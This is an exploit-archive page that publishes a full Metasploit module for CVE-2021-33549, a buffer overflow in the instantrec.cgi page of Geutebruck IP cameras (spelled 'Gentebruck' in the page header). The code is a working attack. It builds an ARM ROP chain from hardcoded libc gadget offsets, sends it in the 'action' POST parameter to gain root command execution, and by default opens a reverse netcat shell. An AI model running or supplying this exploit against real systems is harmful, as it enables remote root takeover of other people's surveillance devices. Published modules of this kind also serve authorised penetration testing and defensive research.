Gentebruck instantrec Remote Command Execution

Authored by Titouan Lazard, Ibrahim Ayadhi | Site metasploit.com

Posted Sep 17, 2021

This Metasploit module exploits a buffer overflow within the 'action' parameter of the /uapi-cgi/instantrec.cgi page of Gentebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx, ETHC-22xx, and EWPC-22xx devices running firmware versions equal to 1.12.0.27 as well as firmware versions 1.12.13.2 and 1.12.14.5. Successful exploitation results in remote code execution as the root user.

tags | exploit, remote, overflow, cgi, root, code execution
advisories | CVE-2021-33549
SHA-256 | c4e4d56427af88f4e0240499806563abb1fa94b80fc1c5bdc3ba921dbbbafb67 Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Geutebruck instantrec Remote Command Execution',
        'Description' => %q{
          This module exploits a buffer overflow within the 'action'
          parameter of the /uapi-cgi/instantrec.cgi page of Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-
22xx,
          ETHC-22xx, and EWPC-22xx devices running firmware versions == 1.12.0.27 as well as firmware
          versions 1.12.13.2 and 1.12.14.5.
          Successful exploitation results in remote code execution as the root user.
        },

        'Author' => [
          'Titouan Lazard - RandoriSec', # Discovery
          'Ibrahim Ayadhi - RandoriSec' # Metasploit Module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2021-33549'],
          ['URL', 'https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/'],
          ['URL', 'http://geutebruck.com'],
          ['URL', 'https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03']
        ],
        'DisclosureDate' => '2021-07-08',
        'Privileged' => true,
        'Platform' => %w[unix linux],
        'Arch' => [ARCH_ARMLE],
        'Targets' => [
          ['Automatic Target', {}]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'
        },
        'Notes' => {
          'Stability' => ['CRASH_SAFE'],
          'Reliability' => ['REPEATABLE_SESSION'],
          'SideEffects' => ['ARTIFACTS_ON_DISK']
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path to the instantrec page', '/uapi-cgi/instantrec.cgi'])
      ]
    )
  end

  def write_payload
    # gadgets
    libc_add = 0x402da000
    system_off = 0x00357fc
    libc_data_off = 0x12c960
    str_r1_off = 0x0006781c # str r0 into r4 + 0x14; pop r4 pc;
    pop_r0_off = 0x00101de4 # pop r0 pc
    pop_r1_off = 0x0010252c # pop r1 pc
    pop_r4_off = 0x00015164 # pop r4 pc
    system_ = libc_add + system_off
    str_r1 = libc_add + str_r1_off
    pop_r0 = libc_add + pop_r0_off
    pop_r1 = libc_add + pop_r1_off
    pop_r4 = libc_add + pop_r4_off
    add_str = libc_data_off + libc_add + 4
    chunks = (payload.raw + ' ' * (4 - payload.raw.length % 4)).unpack('I<*')
    rop = []
    rop += [pop_r4]
    rop += [add_str - 0x14]
    chunks.each_with_index do |chunk, index|
      rop += [pop_r1]
      rop += [chunk]
      rop += [str_r1]
      rop += if index != (chunks.length - 1)
               [add_str - 0x14 + ((index + 1) * 4)]
             else
               [0x41414141]
             end
    end
    rop += [pop_r0]
    rop += [add_str]
    rop += [system_]
    rop.pack('V*')
  end

  def exploit
    print_status("#{rhost}:#{rport} - Attempting to exploit...")
    pad_size = 536
    data = Rex::Text.pattern_create(pad_size) + write_payload
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri('/', Rex::Text.rand_hostname, '../', target_uri.path),
      'vars_post' => {
        'action' => data
      }
    )
    handler
  end
end
```

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11secur1ty 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed